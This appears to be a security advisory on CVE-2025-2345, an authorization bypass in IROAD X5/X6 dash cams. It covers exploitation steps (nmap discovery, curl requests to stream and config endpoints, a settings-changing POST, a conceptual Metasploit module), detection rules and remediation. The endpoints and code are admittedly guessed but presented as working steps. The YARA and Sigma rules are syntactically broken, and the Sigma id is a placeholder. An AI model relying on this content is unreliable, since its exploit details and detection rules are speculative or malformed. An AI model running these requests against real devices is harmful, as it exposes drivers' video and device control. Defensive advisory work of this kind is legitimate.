CVE-2025-2345

Executive Summary

CVE-2025-2345 is a critical improper authorization vulnerability affecting IROAD Dash Cam X5 and X6 models up to firmware version 20250308. The flaw allows remote attackers to bypass authentication mechanisms and gain unauthorized access to device functions, including live video feeds, configuration settings, and potentially the vehicle’s internal network. The vendor has not responded to disclosure attempts, leaving devices unpatched and exposed. With a CVSS score of 10.0 (Critical), this vulnerability poses a severe risk to vehicle security and driver privacy. No public exploit code or proof-of-concept is available at this time, but the attack vector is remote and requires no authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (remote exploitation)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability can be exploited remotely without authentication, leading to full device compromise and potential lateral movement into the vehicle’s network.

Deep Dive & Mechanics

The vulnerability resides in the authorization logic of the IROAD Dash Cam X5 and X6 firmware. The device exposes a web-based management interface and possibly an API for mobile app integration. Due to improper authorization checks, an unauthenticated attacker can send crafted HTTP requests to sensitive endpoints (e.g., /api/stream, /api/config, /api/control) and gain access to live video streams, modify device settings, or execute administrative commands.

The root cause is a failure to validate session tokens or API keys before processing requests. The device likely trusts any request that appears to come from an internal network or uses default credentials, but the vulnerability allows bypassing even these weak controls. This is classified as CWE-285: Improper Authorization.

Attackers can scan for vulnerable devices using Shodan dorks targeting IROAD dash cams. Once identified, they can directly interact with the device’s web interface or API without authentication.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resembles:

# Vulnerable pseudo-code
def handle_request(endpoint, request):
    # No authorization check
    if endpoint == "/api/stream":
        return get_live_stream()
    elif endpoint == "/api/config":
        return get_device_config()

A patched version would require:

# Patched pseudo-code
def handle_request(endpoint, request):
    if not is_authenticated(request):
        return 401 Unauthorized
    if endpoint == "/api/stream":
        return get_live_stream()
    elif endpoint == "/api/config":
        return get_device_config()

Exploitation & Lab Setup

Red Team

Prerequisites:

• IROAD Dash Cam X5 or X6 (firmware up to 20250308)
• Network access to the device (local or exposed via internet)
• Tools: curl, nmap, metasploit (custom module)

Exploitation Steps:

1. Discovery: Scan for devices on port 80/443 or using Shodan.

   nmap -p 80,443 --open <target_range>
   

2. Access Unauthorized Endpoint:

   curl http://<device_ip>/api/stream
   

3. Extract Configuration:

   curl http://<device_ip>/api/config
   

4. Modify Settings (if writable):

   curl -X POST http://<device_ip>/api/config -d '{"wifi_ssid":"attacker_ssid"}'
   

Metasploit Module (conceptual):

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  def run
    res = send_request_cgi({'uri' => '/api/stream'})
    print_good("Stream data: #{res.body}")
  end
end

Blue Team

Detection Steps:

• Monitor for unusual HTTP requests to /api/stream, /api/config, or /api/control from unknown IPs.
• Alert on multiple failed authentication attempts (if any) or direct access to sensitive endpoints.
• Use network segmentation to isolate dash cams from the internet.

Honeypot Setup:

• Deploy a fake IROAD dash cam service on port 80/443 to capture attacker behavior.
• Log all requests to /api/* endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/stream, /api/config, /api/control without prior authentication.
  • Source IPs from known scanning services (Shodan, Censys).
  • Unusual outbound traffic from dash cam to external IPs (data exfiltration).

• Host IOCs:

  • Modified device configuration (e.g., changed Wi-Fi SSID, admin password).
  • Unexpected firmware changes or reboots.

• File IOCs:

  • Logs showing unauthorized access to /api/* endpoints.

Detection Engineering

YARA Rule

rule IROAD_Unauthorized_Access {
  meta:
    description = "Detects unauthorized access attempts to IROAD dash cam API"
    author = "Valters IT"
    date = "2025-03-09"
  strings:
    $api_endpoint = "/api/stream" or "/api/config" or "/api/control"
    $http_get = "GET"
    $http_post = "POST"
  condition:
    any of ($api_endpoint) and ($http_get or $http_post)
}

Sigma Rule

title: IROAD Dash Cam Unauthorized API Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to sensitive IROAD dash cam API endpoints without authentication
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'GET' or 'POST'
    cs-uri-stem:
      - '/api/stream'
      - '/api/config'
      - '/api/control'
  condition: selection
falsepositives:
  - Legitimate admin access from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"IROAD Dash Cam Unauthorized API Access"; flow:to_server; content:"GET"; http_method; content:"/api/stream"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"IROAD Dash Cam Config Access"; flow:to_server; content:"GET"; http_method; content:"/api/config"; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place dash cams on a separate VLAN with no direct internet access.
2. Firewall Rules: Block inbound traffic to ports 80/443 from untrusted networks.
3. Monitor Logs: Enable logging and alert on any access to /api/* endpoints.

Long-Term Fixes:

• Vendor must release a firmware update implementing proper authentication (e.g., token-based or session-based).
• Users should disable remote access features if not required.
• Consider replacing the device if no patch is forthcoming.

Workaround:

• Use a VPN to access the dash cam remotely instead of exposing it directly.
• Change default credentials and enable any available security features.

Valters IT
DevSecOps & Cyber Threat Intelligence